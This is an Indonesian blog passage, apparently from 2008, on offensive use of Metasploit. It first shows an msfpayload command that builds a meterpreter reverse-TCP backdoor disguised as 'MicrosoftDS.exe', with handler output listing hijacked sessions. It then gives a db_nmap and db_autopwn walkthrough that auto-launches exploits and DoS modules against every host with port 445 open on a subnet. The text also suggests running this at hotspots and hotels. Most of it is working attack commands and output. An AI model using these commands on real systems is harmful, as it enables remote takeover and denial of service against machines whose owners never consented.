Selanjutnya tinggal buat backdoor dengan kategori reverse_shell:


$ ./msfpayload windows/meterpreter/reverse_tcp LPORT=53 LHOST=222.124.199.76 EXITFUNC=thread X > MicrosoftDS.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 278
Options: LPORT=53,LHOST=222.124.199.76,EXITFUNC=thread
$ file MicrosoftDS.exe
MicrosoftDS.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit

Dan ketika dijalankan (dijalankan melalui sesi pasca exploitasi ataupun dijalankan secara manual lewat double-click mouse :P ), pada multi-handler akan muncul:


[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 3 opened (222.124.199.76:53 -> 10.10.96.143:4831)

meterpreter > 

Asyiknya menggunakan multi-handler metasploit adalah kita dapat memiliki banyak sessions sekaligus, untuk contoh diatas dapat dilihat satu multi-handler yang telah diset ExitOnSession==false dapat menghandle banyak reverse_shell sekaligus. Dan kita dapat berinteraksi dengan session-session tersebut kapanpun kita mau:


msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  3   Meterpreter  222.124.199.76:53 -> 10.10.96.146:4831
  4   Meterpreter  222.124.199.76:53 -> 10.10.96.223:4836
  5   Meterpreter  222.124.199.76:53 -> 10.10.96.215:4838
  6   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4840
  7   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4845
  8   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4846
  9   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4847  

msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer: PROGWAR
OS      : Windows XP (Build 2600, ).

Itulah beberapa contoh pemanfaatan metasploit untuk backdooring, masih banyak contoh-contoh kreatif lainnya terutama yang berbau kiddies dan evil-in-mind. Oh iya, pada contoh diatas saya menggunakan payload meterpreter berkali-kali. Pembahasan tentang meterpreter akan dilakukan berikutnya.

Stay tuned *heh, serasa pembawa acara opera sabun*

Metasploit dan AutoPwn

Tuesday, December 23rd, 2008

Klo kata anak-anak underground dan para blackhat, tehnik auto-exploitation metasploit termasuk lame. Biar bagaimanapun juga metasploit merupakan tools yang didevelop untuk aktivitas penetration testing. Semua dokumentasinya pun selalu membatasi agar proses penetration testing dengan menggunakan metasploit dilakukan secara legal. Walaupun, banyak yang menggunakan isi metasploit untuk hal-hal yang jauh lebih mengerikan lagi, salah satunya adalah worm sasser beberapa tahun lalu yang menggunakan payload dari metasploit (port 4444) untuk exploitasi service lsass Microsoft Windows.

Implementasi autopwn metasploit cukup mudah dilakukan, daripada kita melakukan nmap secara manual dan mencoba satu per satu dari msfconsole untuk suatu exploit, dengan memanfaatkan AutoPwn metasploit proses ini bisa dilakukan secara otomatis. Pada pemanfaatan lebih lanjut kita bisa mengembangkan proses scanning yang dilakukan hingga bersifat spesifik (servis tertentu, sistem operasi tertentu, dll), namun untuk contoh kali ini dilakukan secara sederhana menggunakan target apapun yang terbuka pada port 445 (hayooo, service apa yang membuka port 445?).

msf > version
Framework: 3.3-dev.5962
Console  : 3.3-dev.6039
msf > load db_postgres
[*] Successfully loaded plugin: db_postgres

msf > db_create autopwn.db
ERROR:  table "hosts" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
NOTICE:  CREATE TABLE / UNIQUE will create implicit index "hosts_address_key" for table "hosts"
ERROR:  table "services" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "services_id_seq" for serial column "services.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" for table "services"
ERROR:  table "vulns" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "vulns_id_seq" for serial column "vulns.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "vulns_pkey" for table "vulns"
ERROR:  table "refs" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "refs_id_seq" for serial column "refs.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for table "refs"
ERROR:  table "vulns_refs" does not exist
ERROR:  table "notes" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "notes_id_seq" for serial column "notes.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "notes_pkey" for table "notes"
[*] Database creation complete (check for errors)

msf > db_connect autopwn.db

msf > db_nmap -p 445 10.10.13.1/24
[*] exec: "/usr/local/bin/nmap" "-p" "445" "10.10.13.1/24" "-oX" "/var/folders/ET/ETjeIh81FAOxuPsmYvtgI++++TI/-Tmp-/dbnmap.478.0"
NMAP:
NMAP: Starting Nmap 4.68 ( http://nmap.org ) at 2008-12-23 16:05 EAT
NMAP: Interesting ports on 10.10.13.1:
NMAP: PORT    STATE  SERVICE
NMAP: 445/tcp closed microsoft-ds
NMAP:
NMAP: Interesting ports on 10.10.13.7:
NMAP: PORT    STATE SERVICE
NMAP: 445/tcp open  microsoft-ds
...

...

NMAP:
NMAP: Nmap done: 256 IP addresses (28 hosts up) scanned in 3.332 seconds
msf > db_services
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.7 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.14 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.15 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.18 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.21 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.22 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.23 port=445 proto=tcp state=up name=microsoft-ds
...

...

msf > db_autopwn -p -t
[*] Analysis completed in 6.44996190071106 seconds (0 vulns / 0 refs)
[*] Matched exploit/osx/samba/lsa_transnames_heap against 10.10.13.7:445...
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 10.10.13.34:445...
[*] Matched exploit/windows/smb/ms04_011_lsass against 10.10.13.37:445...
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 10.10.13.41:445...
[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 10.10.13.14:445...
[*] Matched auxiliary/dos/samba/lsa_addprivs_heap against 10.10.13.29:445...
[*] Matched auxiliary/admin/db2/db2rcmd against 10.10.13.50:445...
[*] Matched exploit/windows/smb/ms06_040_netapi against 10.10.13.34:445...
[*] Matched exploit/windows/smb/ms03_049_netapi against 10.10.13.50:445...
[*] Matched exploit/solaris/samba/lsa_transnames_heap against 10.10.13.25:445...

...

...

msf > db_autopwn -p -t -e
[*] Analysis completed in 6.14483499526978 seconds (0 vulns / 0 refs)
[*] Matched exploit/osx/samba/lsa_transnames_heap against 10.10.13.7:445...
[*] (1/624): Launching exploit/osx/samba/lsa_transnames_heap against 10.10.13.7:445...
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 10.10.13.34:445...
[*] (2/624): Launching exploit/windows/brightstor/etrust_itm_alert against 10.10.13.34:445...
[*] Matched exploit/windows/smb/ms04_011_lsass against 10.10.13.37:445...
[*] (3/624): Launching exploit/windows/smb/ms04_011_lsass against 10.10.13.37:445...

[*] Started bind handler
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 10.10.13.41:445...
[*] (4/624): Launching exploit/windows/brightstor/etrust_itm_alert against 10.10.13.41:445...
[*] Started bind handler

[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 10.10.13.14:445...
...

...

Konsepnya sederhana, Metasploit diatas memanfaatkan postgre sebagai database untuk menyimpan data. Setelah kita membuat database “autopwn.db” akan terbentuk database postgre, selanjutnya kita tinggal connect ke database tersebut. Setelah connect maka akan muncul beberapa command tambahan yang dapat digunakan untuk berinteraksi dengan database, salah satnya adalah “db_autopwn”. Berbeda dengan wmap seperti yang ditulis sebelumnya, db_autopwn merupakan bagian dari plugin postgre sehingga tidak perlu di load secara terpisah, istilah kerennya db_autopwn merupakan backend dari database postgre, dan dapat dilihat menggunakan command “help” pada bagian “Database Backend Command”.

Sebagaimana yang tertulis pada blog metapsloit mengenai autopwn, proses scanning dapat dilakukan dengan 3 cara. Yang pertama adalah import NBE file hasil scanning dengan nessus, yang kedua import XML file hasil scanning nmap, atau langsung menggunakan “db_nmap” untuk proses scanning dengan nmap yang hasilnya akan langsung disimpan kedalam database postgre tersebut. Pada contoh diatas, saya menggunakan feature scanning dari nmap secara langsung dengan target port 445.

db_autopwn dapat melakukan analisis secara otomatis berdasarkan isi database postgre, apakah berdasarkan port target, atau berdasarkan referensi hole, dsb. Contoh diatas menggunakan target port 445, jadi apabila dalam satu network ada terdeteksi port 445 open maka dengan bodoh polosnya metasploit akan menganggap port tersebut berpotensi memiliki hole yang selanjutnya akan dimasukan dalam proses bruteforce terhadap semua exploit yang menyerang port 445.

Tentu saja contoh diatas sangat naif jika digunakan terhadap target-target berkelas (mis: server farm) karena biasanya sysadmin tersayang akan menggunakan port non-default, namun tidak menutup kemungkinan dengan variasi mekanisme private scanning dan melakukan import ke database postgre yang telah tersedia (jangan lupa, metasploit dapat di-customize dengan beberapa script ruby) maka proses autopwn bisa dilakukan dengan lebih tepat. Yah, paling tidak jika kita datang ke suatu lokasi (hotspot, hotel, security conference) ataupun hanya sekedar pamer ke customer saat melakukan pentesting suatu perusahaan, db_autopwn bisa melakukan tugasnya dengan cepat dan efisien. Sehingga dengan cepat kita bisa mengatakan:

Pen-testhor : “tuh pak, saya sudah menemukan 11 komputer windows di perusahaan anda vulnerable, belum masuk ke server nya ini nih…”

Bos-ok: “great work, nanti $2000 langsung saya transfer setelah menerima report dari anda”

Well, what a bored day here… :(